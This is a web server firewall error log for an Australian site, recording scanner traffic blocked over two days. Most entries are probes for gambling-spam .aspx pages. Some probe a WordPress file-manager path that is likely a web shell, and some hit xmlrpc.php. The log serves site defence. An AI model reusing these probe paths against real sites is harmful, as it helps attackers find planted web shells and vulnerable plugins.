[Wed Feb 25 18:00:49.309615 2026] [:error] [pid 60387:tid 60490] [client 147.135.213.11:40492] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZ7IUYHL0QH7Sr13X0I6zgAAApI"]
[Wed Feb 25 18:00:51.730996 2026] [:error] [pid 60500:tid 60590] [client 147.135.213.11:40494] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZ7IU_Y9avxuno9KAT9D-AAAA0g"]
[Wed Feb 25 18:00:54.275872 2026] [:error] [pid 5619:tid 5638] [client 147.135.213.11:40508] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZ7IVpFUzdv-0L_F4fs42QAAAgM"]
[Wed Feb 25 18:00:56.881029 2026] [:error] [pid 60387:tid 60472] [client 147.135.213.11:38262] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZ7IWIHL0QH7Sr13X0I63AAAAoA"]
[Wed Feb 25 18:00:59.288364 2026] [:error] [pid 60500:tid 60609] [client 147.135.213.11:38274] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZ7IW_Y9avxuno9KAT9D-gAAA1Y"]
[Wed Feb 25 18:01:01.837461 2026] [:error] [pid 5556:tid 5605] [client 147.135.213.11:38282] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZ7IXaOrYeaTyh7lGRUdRQAAAdI"]
[Wed Feb 25 18:01:04.262840 2026] [:error] [pid 20659:tid 20715] [client 147.135.213.11:38294] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZ7IYD_THK_HtK-Q44IAAQAAAFQ"]
[Wed Feb 25 18:01:06.675917 2026] [:error] [pid 60387:tid 60476] [client 147.135.213.11:42480] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ7IYoHL0QH7Sr13X0I6_QAAAoQ"]
[Wed Feb 25 18:01:09.198014 2026] [:error] [pid 20659:tid 20696] [client 147.135.213.11:42490] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ7IZT_THK_HtK-Q44IABQAAAEE"]
[Wed Feb 25 18:01:11.735917 2026] [:error] [pid 60387:tid 60476] [client 147.135.213.11:42506] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZ7IZ4HL0QH7Sr13X0I7CgAAAoQ"]
[Wed Feb 25 18:01:14.106042 2026] [:error] [pid 60290:tid 60312] [client 147.135.213.11:42510] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZ7IajPwSUztcPyiofqpwgAAARQ"]
[Wed Feb 25 18:01:16.639419 2026] [:error] [pid 37809:tid 37815] [client 147.135.213.11:35246] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZ7IbCIC419p2bqBCnCHfQAAAIQ"]
[Wed Feb 25 18:01:19.045367 2026] [:error] [pid 20659:tid 20716] [client 147.135.213.11:35252] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZ7Ibz_THK_HtK-Q44IADwAAAFU"]
[Wed Feb 25 18:01:21.477660 2026] [:error] [pid 20763:tid 20786] [client 147.135.213.11:35256] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZ7IcU0w_zc13OX-xiYXWQAAANU"]
[Wed Feb 25 18:01:24.025200 2026] [:error] [pid 5619:tid 5641] [client 147.135.213.11:35264] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZ7IdJFUzdv-0L_F4fs47wAAAgY"]
[Wed Feb 25 18:01:26.508790 2026] [:error] [pid 60387:tid 60473] [client 147.135.213.11:60484] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZ7IdoHL0QH7Sr13X0I7KwAAAoE"]
[Wed Feb 25 18:01:28.852875 2026] [:error] [pid 60387:tid 60493] [client 147.135.213.11:60500] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZ7IeIHL0QH7Sr13X0I7LwAAApU"]
[Wed Feb 25 18:01:31.367739 2026] [:error] [pid 5556:tid 5592] [client 147.135.213.11:60510] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZ7Ie6OrYeaTyh7lGRUdWwAAAcU"]
[Wed Feb 25 18:01:33.984100 2026] [:error] [pid 60387:tid 60483] [client 147.135.213.11:60514] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZ7IfYHL0QH7Sr13X0I7PwAAAos"]
[Wed Feb 25 18:01:36.276270 2026] [:error] [pid 5556:tid 5608] [client 147.135.213.11:58350] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZ7IgKOrYeaTyh7lGRUdZAAAAdU"]
[Wed Feb 25 18:01:38.840508 2026] [:error] [pid 60498:tid 60506] [client 147.135.213.11:58366] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZ7IgiFCVhQ3ffus0uITTgAAAsE"]
[Wed Feb 25 18:01:41.245809 2026] [:error] [pid 60387:tid 60476] [client 147.135.213.11:58382] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZ7IhYHL0QH7Sr13X0I7RAAAAoQ"]
[Wed Feb 25 18:01:43.620576 2026] [:error] [pid 60498:tid 60518] [client 147.135.213.11:58384] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZ7IhyFCVhQ3ffus0uITUQAAAs0"]
[Wed Feb 25 18:42:06.873553 2026] [:error] [pid 60387:tid 60478] [client 147.135.215.173:38392] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZ7R_oHL0QH7Sr13X0JQ8QAAAoY"]
[Wed Feb 25 18:42:09.293455 2026] [:error] [pid 5556:tid 5602] [client 147.135.215.173:47236] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZ7SAaOrYeaTyh7lGRUrggAAAc8"]
[Wed Feb 25 18:42:11.850946 2026] [:error] [pid 60498:tid 60519] [client 147.135.215.173:46126] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZ7SAyFCVhQ3ffus0uIbaQAAAs4"]
[Wed Feb 25 18:46:32.713796 2026] [:error] [pid 20659:tid 20706] [client 117.33.163.216:36544] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ7TCD_THK_HtK-Q44INmgAAAEs"]
[Thu Feb 26 00:28:43.883074 2026] [autoindex:error] [pid 49556:tid 49665] [client 86.48.2.117:53523] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Feb 26 01:29:16.112986 2026] [:error] [pid 49554:tid 49617] [client 117.33.163.216:46668] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ8xbNtlDT3cCGsQMTcy3gAAAAg"]
[Thu Feb 26 02:36:45.616049 2026] [:error] [pid 49555:tid 49681] [client 170.106.143.6:46706] [client 170.106.143.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ9BPdw3_NsD2xC15YYCUwAAAFI"]
[Thu Feb 26 03:50:44.114406 2026] [:error] [pid 9589:tid 9666] [client 170.106.197.109:52210] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ9SlKBuBxYiI1p-njSTBAAAAI0"]
[Thu Feb 26 07:35:38.191143 2026] [:error] [pid 55122:tid 55141] [client 147.135.213.175:38858] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZ-HSoLiR0OfjFxvcN9bawAAANE"]
[Thu Feb 26 07:35:40.620295 2026] [:error] [pid 55122:tid 55130] [client 147.135.213.175:35788] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZ-HTILiR0OfjFxvcN9bcwAAAMY"]
[Thu Feb 26 07:35:43.027136 2026] [:error] [pid 55122:tid 55135] [client 147.135.213.175:35796] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZ-HT4LiR0OfjFxvcN9beAAAAMs"]
[Thu Feb 26 07:35:45.544545 2026] [:error] [pid 55122:tid 55139] [client 147.135.213.175:35808] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZ-HUYLiR0OfjFxvcN9bgAAAAM8"]
[Thu Feb 26 07:35:47.800753 2026] [:error] [pid 55122:tid 55129] [client 147.135.213.175:35820] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZ-HU4LiR0OfjFxvcN9biAAAAMU"]
[Thu Feb 26 07:35:50.235726 2026] [:error] [pid 55051:tid 55054] [client 147.135.213.175:53736] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZ-HVgmK1w2kZvh5eLGWpQAAAIA"]
[Thu Feb 26 09:19:53.168887 2026] [:error] [pid 55618:tid 55638] [client 188.176.19.135:3203] [client 188.176.19.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.176.19.135, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-fuR61Vrh12f_8oWQH8AAAARE"]
[Thu Feb 26 09:37:17.659479 2026] [:error] [pid 25311:tid 25337] [client 4.205.17.183:30686] [client 4.205.17.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ-jzdfdM__yZAgJFSsXDwAAAZc"]
[Thu Feb 26 09:37:18.080302 2026] [:error] [pid 25311:tid 25315] [client 4.205.17.183:30610] [client 4.205.17.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ-jztfdM__yZAgJFSsXEwAAAYE"]
[Thu Feb 26 09:37:18.504931 2026] [:error] [pid 55122:tid 55132] [client 4.205.17.183:30607] [client 4.205.17.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ-jzoLiR0OfjFxvcN-B2wAAAMg"]
[Thu Feb 26 09:37:18.954066 2026] [:error] [pid 54990:tid 54997] [client 4.205.17.183:30661] [client 4.205.17.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ-jzntr2qmt_mBhH2zDMAAAAAQ"]
[Thu Feb 26 11:41:57.371746 2026] [:error] [pid 55122:tid 55145] [client 51.75.119.161:52616] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZ_BBYLiR0OfjFxvcN-mZgAAANU"]
[Thu Feb 26 11:42:00.133743 2026] [:error] [pid 25311:tid 25330] [client 51.75.119.161:54628] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZ_BCNfdM__yZAgJFSuBuAAAAZA"]
[Thu Feb 26 11:42:02.745422 2026] [:error] [pid 55122:tid 55142] [client 51.75.119.161:54636] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZ_BCoLiR0OfjFxvcN-mbQAAANI"]
[Thu Feb 26 11:42:05.402542 2026] [:error] [pid 3883:tid 3903] [client 51.75.119.161:49250] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZ_BDeA33x90V6yYHagqBQAAAVE"]
[Thu Feb 26 11:42:07.884645 2026] [:error] [pid 55618:tid 55623] [client 51.75.119.161:49252] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZ_BDx61Vrh12f_8oWRR7QAAAQI"]
[Thu Feb 26 11:42:10.376592 2026] [:error] [pid 55618:tid 55621] [client 51.75.119.161:49256] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZ_BEh61Vrh12f_8oWRR7gAAAQA"]
[Thu Feb 26 11:42:12.928289 2026] [:error] [pid 55618:tid 55643] [client 51.75.119.161:49260] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZ_BFB61Vrh12f_8oWRR8QAAARY"]
[Thu Feb 26 11:42:15.454620 2026] [:error] [pid 55122:tid 55137] [client 51.75.119.161:52886] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ_BF4LiR0OfjFxvcN-mewAAAM0"]
[Thu Feb 26 11:42:18.382697 2026] [:error] [pid 55122:tid 55128] [client 51.75.119.161:52892] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ_BGoLiR0OfjFxvcN-mfgAAAMQ"]
[Thu Feb 26 11:42:20.946801 2026] [:error] [pid 25311:tid 25321] [client 51.75.119.161:52902] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ_BHNfdM__yZAgJFSuCIgAAAYc"]
[Thu Feb 26 11:42:23.324072 2026] [:error] [pid 3883:tid 3902] [client 51.75.119.161:52914] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ_BH-A33x90V6yYHagqFQAAAVA"]
